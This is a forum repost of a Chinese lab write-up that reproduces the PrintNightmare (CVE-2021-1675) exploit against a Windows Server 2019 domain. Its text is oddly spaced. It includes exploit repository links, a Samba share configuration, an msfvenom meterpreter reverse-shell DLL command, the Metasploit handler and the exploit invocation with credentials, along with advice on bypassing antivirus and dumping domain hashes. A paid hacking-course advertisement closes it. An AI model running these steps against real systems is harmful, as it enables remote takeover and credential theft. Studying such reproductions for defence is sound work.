搜索

[27318] 2021-08-19_微软通杀漏洞-CVE-2021-1675复现

文档创建者：s7ckTeam
浏览次数：44
最后更新：2025-01-19
2021-08-19_微软通杀漏洞-CVE-2021-1675复现 微 软 通 杀 漏 洞 - C V E - 2 0 2 1 - 1 6 7 5 复 现 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 8 - 1 9 收 录 于 话 题 # 漏 洞 复 现   , 2 3 # W e b 安 全 进 阶 实 战 班   , 8 # 渗 透 小 技 巧   , 8 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 本 文 作 者 ： 龙 诺 龙 诺 （ W e b 知 识 星 球 追 洞 小 组 ） 一 一     准 备 环 境 准 备 环 境 实 验 环 境 ： w i n d o w s 2 0 1 9   （ 1 9 2 . 1 6 8 . 1 8 9 . 1 4 5 ） k a l i   l i n u x   （ 1 9 2 . 1 6 8 . 1 8 9 . 1 4 6 ） 需 要 ： 一 个 普 通 的 域 账 户 需 要 ： 开 启   p r i n t   s p o o l e r 服 务 需 要 ： w i n d o w s 2 0 1 9 安 装 s m b 1 协 议 （ 没 有 这 个 会 报 错 ） 二 二   搭 建 环 境 搭 建 环 境 安 装 安 装 i m p a c k e t 我 这 里 使 用 的 是 p y t h o n 虚 拟 环 境 安 装 搭 建 这 样 的 好 处 是 不 破 坏 系 统 环 境 ， 因 为 p y t h o n 有 时 候 安 装 各 种 模 块 多 了 容 易 冲 突 所 一 我 们 使 用 虚 拟 环 境 。 构 造 虚 拟 环 境 构 造 虚 拟 环 境 v i r t u a l e n v   - p   p y t h o n 3   文 件 夹 如 果 没 有 v i r t u a l e n v 的 话 需 要 你 p i p 安 装 模 块 构 造 完 成 以 后 我 们 使 用 s o u r c e   文 件 夹 / b i n / a c t i v a t e 进 入 后 我 们 去 g i t h u b 下 载 p o c 安 装 首 先 要 下 载 p o c   i m p a c k e t 模 块 然 后 安 装 因 为 我 们 使 用 的 是 虚 拟 环 境 所 以 我 们 可 以 直 接 安 装 安 装 完 以 后 切 换 到 p o c 处 就 可 以 了 s o u r c e   文 件 夹 / b i n / a c t i v a t e   p y t h o n   s e t u p . p y   i n s t a l l   p y t h o n   C V E - 2 0 2 1 - 1 6 7 5 . p y   - h 配 置 配 置 s m b 服 务 器 服 务 器 按 照 这 个 配 置 以 后 就 可 以 使 用 i m p a c k e t - s m b s e r v e r   文 件 名 、 目 录 、 开 启 服 务 器 ， 如 图 使 用 反 弹 s h e l l   ： 需 要 关 闭 w i n d o w s 2 0 1 9 的 安 全 中 心   或 者 用 免 杀 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c u b e 0 x 0 / C V E - 2 0 2 1 - 1 6 7 5 . g i t   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / c u b e 0 x 0 / i m p a c k e t [ g l o b a l ]   w o r k g r o u p   =   w o r k g r o u p   s e r v e r   s t r i n g   =   t e s t   n e t b i o s   n a m e   =   M Z   s e c u r i t y   =   u s e r   m a p   t o   g u e s t   =   B a d   U s e r   s m b   p o r t s   =   4 4 5   l o g   f i l e   =   / v a r / l o g / s a m b a / l o g . % m   m a x   l o g   s i z e   =   5   m i n   p r o t o c o l   =   S M B 2 [ s m b ]   c o m m e n t   =   S a m b a   b r o w s e a b l e   =   y e s   w r i t e a b l e   =   y e s   p u b l i c   =   y e s   p a t h   =   / t m p /   r e a d   o n l y   =   n o   g u e s t   o k   =   y e s
生 成 生 成 d l l 和 启 动 和 启 动 m s f 利 用 漏 洞 利 用 漏 洞 如 果 出 错 则 需 要 安 装 s m b 1 在 w i n d o w s 2 0 1 9 上 出 错 代 码 ， 下 图 可 以 现 在 2 0 1 9 连 接 s m b 服 务 器 出 现 这 种 报 错 m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 8 9 . 1 4 6   L P O R T = 4 4 4 4   - f   d l l   - o   / t m p / r e v e r . d l l   m s f c o n s o l e   u s e   e x p l o i t / m u l t i / h a n d l e r   s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   e x p l o i t p y t h o n   C V E - 2 0 2 1 - 1 6 7 5 . p y   d e m o n b a . x x x / y u c e : H e l l o 7 p @ 1 9 2 . 1 6 8 . 1 8 9 . 1 4 5   ' 1 9 2 . 1 6 8 . 1 8 9 . 1 4 6 s m b r e v e r . d l l '
成 功 ， 下 图 i m p a c k e t - s m b s e r v e r 服 务 器 也 会 有 数 据 交 互 同 时 会 有 反 弹 s h e l l 我 们 可 以 直 接 查 看 域 中 账 户 h a s h   进 行 横 向 渗 透 d l l 文 件 在 文 件 在 w i n d o w s
上 传 成 功 ， 如 果 开 着 w i n d o w s 安 全 中 心 会 出 现 图 上 传 不 成 功 这 里 就 要 考 虑 免 杀 了 , 切 记 只 能 是 普 通 账 户 漏 洞 扫 描 漏 洞 扫 描 h t t p s : / / g i t h u b . c o m / c y b e r s e c u r i t y w o r k s 5 5 3 / C V E - 2 0 2 1 - 1 6 7 5 _ P r i n t N i g h t M a r e
总 结 总 结 需 要 了 解 s m b 配 置 w i n d o w s 2 0 1 9 域 配 置 在 k a l i 无 法 连 接 2 0 1 9 的 时 候 逆 向 思 考 看 看 2 0 1 9 可 以 连 接 s m b 共 享 文 件 码 ？ h t t p s : / / g i t h u b . c o m / c u b e 0 x 0 / C V E - 2 0 2 1 - 1 6 7 5 / i s s u e s / 3 6   这 里 也 有 人 问 这 个 问 题 我 不 知 道 他 解 决 了 吗 ？ 我 是 受 下 面 一 句 话 很 长 时 间 突 然 开 悟 了 2 0 1 9 可 以 链 接 吗 ？ 复 现 看 着 简 单 但 是 各 种 环 境 问 题 还 有 小 白 配 置 问 题 只 有 复 现 了 才 知 道 ！
追 洞 小 组 负 责 人 追 洞 小 组 负 责 人 T a o i n g 主 讲 主 讲 W E B 高 级 攻 防 实 战 班 高 级 攻 防 实 战 班   第 第 1 期 期     来 袭 来 袭 课 程 围 绕 ： 外 围 打 点 、 边 界 突 破 、 课 程 围 绕 ： 外 围 打 点 、 边 界 突 破 、 P H P 审 计 、 审 计 、 S R C 漏 洞 挖 掘 、 应 急 响 应 漏 洞 挖 掘 、 应 急 响 应 课 程 大 纲 （ 最 新 ） 课 程 大 纲 （ 最 新 ） * 大 纲 仅 作 为 参 考 ， 会 根 据 当 期 进 度 有 所 变 化 （ 加 客 服 获 取 高 清 课 程 导 图 ） 课 程 目 录 课 程 目 录 （ 最 新 ） （ 最 新 ） 课 程 费 用 课 程 费 用 每 期 班 定 价 2 9 9 9 ， 第 一 期 班 第 一 期 班 首 发 价 ： 首 发 价 ： 2 4 9 9 （ 前 前 5 0 名 送 名 送 3 6 5 元 元 W e b 安 全 知 识 星 球 名 额 安 全 知 识 星 球 名 额 ） ， 每 个 报 名 学 员 都 可 享 受 一 次 免 费 的 重 听 权 益 每 个 报 名 学 员 都 可 享 受 一 次 免 费 的 重 听 权 益 ， 一 次 没 学 懂 就 再 来 一 遍 ， 后 续 培 训 可 任 选 一 期 来 听 。 请 有 意 参 加 培 训 的 学 员 抓 紧 报 名 ！ 支 持 支 付 宝 、 信 用 卡 、 花 呗 分 期 ， 对 公 转 账 ， 可 开 发 票 ！ 支 持 支 付 宝 、 信 用 卡 、 花 呗 分 期 ， 对 公 转 账 ， 可 开 发 票 ！ 学 习 资 源 学 习 资 源 前 5 0 名 报 名 同 学 ， 送 3 6 5 元 W e b 知 识 星 球 名 额 ， 可 提 前 先 行 学 习 W e b 安 全 相 关 知 识 ， 并 提 供 课 程 中 需 要 的 相 关 软 件 和 环 境 。 上 课 时 间 上 课 时 间 每 周 一 、 二 、 三 、 四 的 晚 上 每 周 一 、 二 、 三 、 四 的 晚 上   1 9 ： ： 0 0 - 2 1 : 0 0   ， 共 ， 共 2 4 天 ， 天 ， 4 8 课 时 ， 为 期 课 时 ， 为 期 6 周 周 。 如 果 无 法 准 时 参 加 直 播 课 程 ， 在 线 培 训 的 每 节 课 程 都 会 被 录 制 成 视 频 上 传 到 学 员 区 ， 可 随 时 下 载 观 看 。
上 课 方 式 上 课 方 式 培 训 采 用 在 线 直 播 + 随 堂 录 播 + 微 信 群 解 答 的 形 式 ， 无 需 等 待 ， 报 名 后 立 即 进 入 “ W e b 星 球 ” 开 始 预 习 。 讲 师 介 绍 讲 师 介 绍 T a o i n g ： M S 0 8 0 6 7 安 全 实 验 室 核 心 成 员 ， W e b 安 全 知 识 星 球 合 伙 人 ， 安 恒 信 息 安 全 高 级 工 程 师 ， 擅 长 企 业 安 全 研 究 、 情 报 分 析 、 渗 透 测 试 ， 安 全 开 发 。 T t s s G k f ： M S 0 8 0 6 7 安 全 实 验 室 核 心 成 员 ， W e b 安 全 知 识 星 球 合 伙 人 ， D e f c o n   G r o u p   8 6 0 2 1 议 题 分 享 者 ， 致 力 于 漏 洞 分 析 、 代 码 审 计 、 漏 洞 挖 掘 。         你 距 离 大 佬 ， 只 差 一 个 决 定 你 距 离 大 佬 ， 只 差 一 个 决 定             详 情 咨 询 请 联 系 小 客 服 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！     来 和 来 和 5 0 0 0 + 位 同 学 一 起 加 入 星 球 学 习 吧 ！ 位 同 学 一 起 加 入 星 球 学 习 吧 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理